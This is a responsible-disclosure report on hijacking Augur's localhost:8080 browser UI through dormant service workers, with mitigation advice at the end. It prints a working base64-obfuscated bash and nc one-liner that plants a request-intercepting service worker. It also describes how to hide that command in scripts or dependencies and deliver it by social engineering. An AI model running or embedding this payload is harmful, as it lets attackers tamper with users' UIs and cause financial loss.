Augur hijack via dormant service workers
This is a vulnerability report sent to Augur about three weeks ago and permitted to be publicly disclosed by them. Although the attack itself is a bit convoluted and hard to pull off, it is a generic one that can target multiple decentralized apps.
The architecture of Augur currently consist of 3 individual layers:
- At the lowest level, Augur consists of a batch of smart contracts built on top of Ethereum. This level is enforced by a global blockchain and can be accessed via gateway nodes operated either by the user or by a trusted remote entity.
- At the middle level, Augur consists of an intermediate service layer that uses the (trusted) Ethereum gateway as its data source, builds a database out of the contract logs, serving the pre-prepared data for a web based UI.
- At the highest level, Augur consists of a web UI served by the trusted Augur node, displayed by- and interacted through the user’s own local browser through
This report assumes that the Ethereum network, gateway and Augur gateway can all be trusted and operate correctly. The report attacks the last link in the chain, the user’s browser, causing arbitrary code to be injected in Augur’s UI.
Service workers background
A service worker is a script that your browser runs in the background, separate from a web page, opening the door to features that don’t need a web page or user interaction. The core feature is the ability to intercept and handle network requests. ~Google Developers
For a full rundown on the technology please see Google’s developer page, but the interesting aspects from the point of view of this report (beyond the core functionality of hijacking network requests) is the life cycle of service workers and their threat model:
- A website can install a service worker at an arbitrary point in time. That service worker remains in effect and executing until it is explicitly unregistered! Service workers survive page refreshes, full force-refreshes and even browser restarts. Service workers are not tied to the served content, a previously registered service worker will be active even for completely new, unrelated content.
- Since service workers are from all intents and purposes by-design MITM attacks, they have a strict security policy of only running from HTTPS (ensuring that a website can only ever register code that hijacks its own content), and only running for the exact same origin they were registered from. Localhost is an exception from the strict security policy to allow easy development.
I think you already have an idea where this is going…
The attack described in this document consists of abusing a modern browser’s service worker security policy coupled with Augur’s architectural design of running the UI in the browser to seamlessly hijack all Augur communication and also seamlessly inject arbitrary code into Augur’s UI:
- Augur’s UI is running from
http://localhost:8080, unauthenticated from an SSL perspective. Code from different sessions cannot be proven to belong (or not belong) to the same (or different) application.
- Browsers consider
localhostas development environments, so they permit installing and executing service workers without SSL auth.
- Service workers will forever lay dormant in the browser (no cache control, no way to pre-detect) and will execute every time the same origin is loaded (
In order to hijack Augur however, we need to install a service worker to
localhost:8080 in the first place. This requires running a malicious web server at least once on the target machine and loading
localhost:8080 at least once in the user’s web browser prior to Augur.
Before getting into how easy or hard this might be, lets demo an explicitly obvious way to do it to explain the attack better. Consider the following fully working and fully self contained exploit from Go:
What this code does in short is:
- Start a Go web server, serving two endpoints:
/for the index and
/pwner.jsfor the hijacking service worker.
index.htmlpage consists of a tiny script that registers
/pwner.jsas a service worker. It also displays a jumping gopher for the fun of it.
/pwner.jsservice worker is a simple script that hijacks all network requests, prints a log for each, and if it encounters a request to
We can run the above code via
Registration successful, scope is: http://localhost:8080/
pwner.js:4 Service worker installing…
pwner.js:9 Service worker activating…
pwner.js:15 Fetching: https://gophercises.com/img/gophercises_jumping.gif
At this point you can terminate the Go attacker server and you can close your browser. The hijack script has been successfully injected to intercept anything on the
Time passes (arbitrary much, we don’t even care) and the user eventually downloads and starts Augur from the official repository and/or client. This will start the Augur App, sync the local database from the Ethereum network. When sync is done, the user pushes the `Open Augur App` button, loading the Augur UI from the app in the user’s browser.
The impact of the exploit is actually quite significant. By having full control over the network traffic between the UI and the backend server; and also having full control over the UI contents, an attacker can display arbitrary Augur markets, shares, stats, etc.
The attacker does not have direct control over user funds, and the attacker cannot directly get the user to sign junk transactions. However by modifying the market descriptions and stats, the attacker can convince the user to place losing bets (e.g. invert the winning condition), causing loss of funds. The attacker can further place counter bets on the hijacked market, causing a direct gain of funds to themselves.
From a technical perspective, the reason the exploit can be considered of a significant impact is because it doesn’t require elevated permissions to run, after running a single time it remains dormant forever in the user’s system and it’s a fully legitimate browser functionality, so no exploit detection software can ever catch it.
The hard part of the exploit however is delivering it to the end user in the first place. As explained above, browsers do enforce Same-Origin security policies against service workers, so the only way to attack Augur on the user’s system is to have the user load a malicious page from
The Go code above is a nice demo for this, but it’s obviously not a realistic scenario. We need better social engineering attacks to deliver the exploit to the user’s system.
One prevalent way nowadays to attack crypto-currency users is to get them to copy paste code from random web pages or chats into their terminal. While it may sound overly dumb, it does seem to work, especially since this particular attack doesn’t even require root access.
The following 791 character bash command will do a full hijack injection including serving up 2 different webpages and automatically pointing the user’s browser to load them and register the service worker.
echo SFRUUC8xLjEgMjAwIE9LDQoNCjxzY3JpcHQ+bmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIoJycpPC9zY3JpcHQ+ | base64 -d | nc -lN 8080 > /dev/null && echo SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvamF2YXNjcmlwdA0KDQpzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImluc3RhbGwiLGZ1bmN0aW9uKGV2ZW50KXtzZWxmLnNraXBXYWl0aW5nKCl9KTtzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImZldGNoIixmdW5jdGlvbihldmVudCl7aWYoZXZlbnQucmVxdWVzdC51cmwuc3RhcnRzV2l0aCgiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21haW4uIikpe2V2ZW50LnJlc3BvbmRXaXRoKGZldGNoKGV2ZW50LnJlcXVlc3QudXJsKS50aGVuKGZ1bmN0aW9uKHJlc3BvbnNlKXtyZXR1cm4gcmVzcG9uc2UudGV4dCgpfSkudGhlbihmdW5jdGlvbih0ZXh0KXtyZXR1cm4gbmV3IFJlc3BvbnNlKHRleHQrYApzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxlcnQoIllvdSBhcmUgUHduZWQhIil9LDMwMDApYCl9KSl9fSkK | base64 -d | nc -lN 8080 > /dev/null & xdg-open http://localhost:8080
Whilst it may look a bit innocuous, an attacker could easily hide this in a larger script that actually does something useful. Since the exploit injection doesn’t do anything immediate, a vulnerable user will be oblivious of the dormant exploit on his machine waiting to execute.
Hijack 8080 services
localhost is the standard port for running just about any web service. Web developers are used to running their development code on it. Many services, monitoring tools, etc like to run on some variation of
8080. This means hijacking port
8080 on developer machines has an elevated probability, since it only requires a few lines in any web dependency, which need to execute a single time, can be deleted afterwards without trace.
Although developers will probably be reluctant to run arbitrary code on their machine (though lets be honest, we all ran that awesome script from GitHub for whatever reason), this exploit is particularly nasty as it runs in a fully sand-boxed environment (user’s browser), so nobody expects that a single page load can leave arbitrary armed code behind.
At the very core, it seems that running the Augur UI in the user’s browser from
localhost might not have been the most enlightened decision due to
origin clashes. Browsers always treat
localhost as a special snowflake when it comes to security policies and I can imagine future vulnerabilities might originate from this. If Augur is relying on Electron for many of its functionality, it might make sense to ship the entire browser with Augur too and to have a dedicated process solely for Augur. That would prevent old browser sessions leaking malicious scripts into new ones.
Running on port
8080 is again a less fortunate decision, since
origin wise it clashes with just too many other providers and also clashes with developer’s default choice. Running on some weird port number should not have impact on user experience, but should make it a lot harder to deliver an exploit on that particular port opposed to the common